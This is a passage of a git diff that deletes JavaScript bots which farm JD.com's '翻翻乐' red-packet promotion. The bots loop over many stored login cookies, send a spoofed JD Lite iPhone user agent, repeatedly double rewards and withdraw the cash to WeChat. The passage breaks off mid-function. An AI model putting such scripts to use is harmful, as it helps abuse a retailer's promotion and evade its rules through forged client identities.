this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_big_winner.js b/backUp/jd_big_winner.js deleted file mode 100644 index 62e253a..0000000 --- a/backUp/jd_big_winner.js +++ /dev/null @@ -1,322 +0,0 @@ -/* -省钱大赢家之翻翻乐 -一天可翻多次,但有上限 -运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#省钱大赢家之翻翻乐 -20 * * * * jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=================================Loon=================================== -[Script] -cron "20 * * * *" script-path=jd_big_winner.js,tag=省钱大赢家之翻翻乐 - -===================================Surge================================ -省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_big_winner.js - -====================================小火箭============================= -省钱大赢家之翻翻乐 = type=cron,script-path=jd_big_winner.js, cronexpr="20 * * * *", timeout=3600, enable=true - */ -const $ = new Env('省钱大赢家之翻翻乐'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', linkId = 'yMVR-_QKRd2Mq27xguJG-w', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; -const money = process.env.BIGWINNER_MONEY || 0.3 -const JD_API_HOST = 'https://api.m.jd.com/api'; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const len = cookiesArr.length; - -!(async () => { - $.redPacketId = [] - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < len; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await main() - } - } - if (message) { - $.msg($.name, '', message); - if ($.isNode()) await notify.sendNotify($.name, message); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function main() { - try { - $.canApCashWithDraw = false; - $.changeReward = true; - $.canOpenRed = true; - await gambleHomePage(); - if (!$.time) { - console.log(`开始进行翻翻乐拿红包\n`) - await gambleOpenReward();//打开红包 - if ($.canOpenRed) { - while (!$.canApCashWithDraw && $.changeReward) { - await openRedReward(); - await $.wait(500); - } - if ($.canApCashWithDraw) { - //提现 - await openRedReward('gambleObtainReward', $.rewardData.rewardType); - await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); - } - } - } - } catch (e) { - $.logErr(e) - } -} - - -//查询剩余多长时间可进行翻翻乐 -function gambleHomePage() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - const options = { - url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, - headers, - } - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data.leftTime === 0) { - $.time = data.data.leftTime; - } else { - $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); - } - console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); - } else { - console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//打开翻翻乐红包 -function gambleOpenReward() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); - } else { - console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); - if (data.code === 20007) { - $.canOpenRed = false; - console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻倍红包 -function openRedReward(functionId = 'gambleChangeReward', type) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - if (type) body['rewardType'] = type; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`翻翻乐结果:${data}\n`); - data = JSON.parse(data); - if (data['code'] === 0) { - $.rewardData = data.data; - if (data.data.rewardState === 1) { - if (data.data.rewardValue >= money) { - //已翻倍到0.3元,可以提现了 - $.canApCashWithDraw = true; - $.changeReward = false; - // message += `${data.data.rewardValue}元现金\n` - } - if (data.data.rewardType === 1) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); - } else if (data.data.rewardType === 2) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); - // $.canApCashWithDraw = true; - } else { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } else if (data.data.rewardState === 3) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); - $.changeReward = false; - } else { - if (type) { - console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; - } else { - console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } - } else { - $.canApCashWithDraw = true; - $.changeReward = false; - console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻翻乐提现 -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - "businessSource": "GAMBLE", - "base": { - id, - "business": "redEnvelopeDouble", - poolBaseId, - prizeGroupId, - prizeBaseId, - prizeType - }, - "linkId": fflLinkId - }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data['data']['status'] === '310') { - console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包成功🎉\n\n`; - } else { - console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } else { - console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); - message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_big_winner_Mod.js b/backUp/jd_big_winner_Mod.js deleted file mode 100644 index 07da313..0000000 --- a/backUp/jd_big_winner_Mod.js +++ /dev/null @@ -1,829 +0,0 @@ -/* -cron "40 8,10,12,14 * * *" ZY_big_winner_Mod.js -省钱大赢家之翻翻乐分组版本,兼容资产通知查询的变量,标题为 省钱大赢家之翻翻乐#2 省钱大赢家之翻翻乐#3 省钱大赢家之翻翻乐#4 省钱大赢家之翻翻乐 - */ - //详细说明参考 https://github.com/ccwav/QLScript2. -const $ = new Env('省钱大赢家之翻翻乐'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', linkId = 'yMVR-_QKRd2Mq27xguJG-w', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; -const money = $.isNode() ? (process.env.BIGWINNER_MONEY ? process.env.BIGWINNER_MONEY * 1 : 0.3) : ($.getdata("BIGWINNER_MONEY") ? $.getdata("BIGWINNER_MONEY") * 1 : 0.3) - const JD_API_HOST = 'https://api.m.jd.com/api'; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') - console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const len = cookiesArr.length; - -let MessageUserGp2 = ""; -let MessageUserGp3 = ""; -let MessageUserGp4 = ""; - -let MessageGp2 = ""; -let MessageGp3 = ""; -let MessageGp4 = ""; -let MessageAll = ""; - -let userIndex2 = -1; -let userIndex3 = -1; -let userIndex4 = -1; - -let IndexGp2 = 0; -let IndexGp3 = 0; -let IndexGp4 = 0; -let IndexAll = 0; - -let allMessageGp2 = ''; -let allMessageGp3 = ''; -let allMessageGp4 = ''; -let allMessage = ''; - -let ReturnMessage = ""; -let ReturnMessageTitle = ""; - -if ($.isNode() && process.env.BEANCHANGE_USERGP2) { - MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; - console.log(`检测到设定了分组推送2`); -} - -if ($.isNode() && process.env.BEANCHANGE_USERGP3) { - MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; - console.log(`检测到设定了分组推送3`); -} - -if ($.isNode() && process.env.BEANCHANGE_USERGP4) { - MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; - console.log(`检测到设定了分组推送4`); -} -let WP_APP_TOKEN_ONE = ""; -if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { - WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; -} - -!(async() => { - $.redPacketId = [] - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - for (let i = 0; i < len; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - - if (MessageUserGp4) { - userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); - } - if (MessageUserGp2) { - userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); - } - if (MessageUserGp3) { - userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); - } - if (userIndex4 != -1) { - IndexGp4 += 1; - ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex2 != -1) { - IndexGp2 += 1; - ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex3 != -1) { - IndexGp3 += 1; - ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; - } - if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { - IndexAll += 1; - ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; - } - - ReturnMessage = ""; - - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await main() - if (ReturnMessage) { - - - if ($.isNode() && WP_APP_TOKEN_ONE) { - await notify.sendNotifybyWxPucher(`${$.name}`,`【账号名称】${$.nickName || $.UserName}\n`+`${ReturnMessage}`,`${$.UserName}`); - } - - ReturnMessage = ReturnMessageTitle + ReturnMessage; - - if (userIndex4 != -1) { - allMessageGp4 += ReturnMessage; - } - - if (userIndex2 != -1) { - allMessageGp2 += ReturnMessage; - } - if (userIndex3 != -1) { - allMessageGp3 += ReturnMessage; - } - if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { - allMessage += ReturnMessage; - } - } - } - } - - if ($.isNode() && allMessageGp2) { - console.log("分组2:" + `\n` + allMessageGp2); - await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(5000); - } - if ($.isNode() && allMessageGp3) { - console.log("分组3:" + `\n` + allMessageGp3); - await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(5000); - } - if ($.isNode() && allMessageGp4) { - console.log("分组4:" + `\n` + allMessageGp4); - await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(5000); - } - if ($.isNode() && allMessage) { - console.log("其他组:" + `\n` + allMessage); - await notify.sendNotify(`${$.name}`, `${allMessage}`, { - url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` - }) - await $.wait(5000); - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}) -.finally(() => { - $.done(); -}) - -async function main() { - try { - $.canApCashWithDraw = false; - $.changeReward = true; - $.canOpenRed = true; - await gambleHomePage(); - if (!$.time) { - console.log(`开始进行翻翻乐拿红包\n`) - await gambleOpenReward(); //打开红包 - if ($.canOpenRed) { - while (!$.canApCashWithDraw && $.changeReward) { - await openRedReward(); - await $.wait(1000); - } - if ($.canApCashWithDraw) { - //提现 - await openRedReward('gambleObtainReward', $.rewardData.rewardType); - await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); - } - } - } - } catch (e) { - $.logErr(e) - } -} - -//查询剩余多长时间可进行翻翻乐 -function gambleHomePage() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - 'Cookie': cookie - } - const body = { - 'linkId': fflLinkId - }; - const options = { - url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, - headers, - } - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data.leftTime === 0) { - $.time = data.data.leftTime; - } else { - $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); - } - console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); - } else { - console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve() - } - }) - }) -} -//打开翻翻乐红包 -function gambleOpenReward() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': 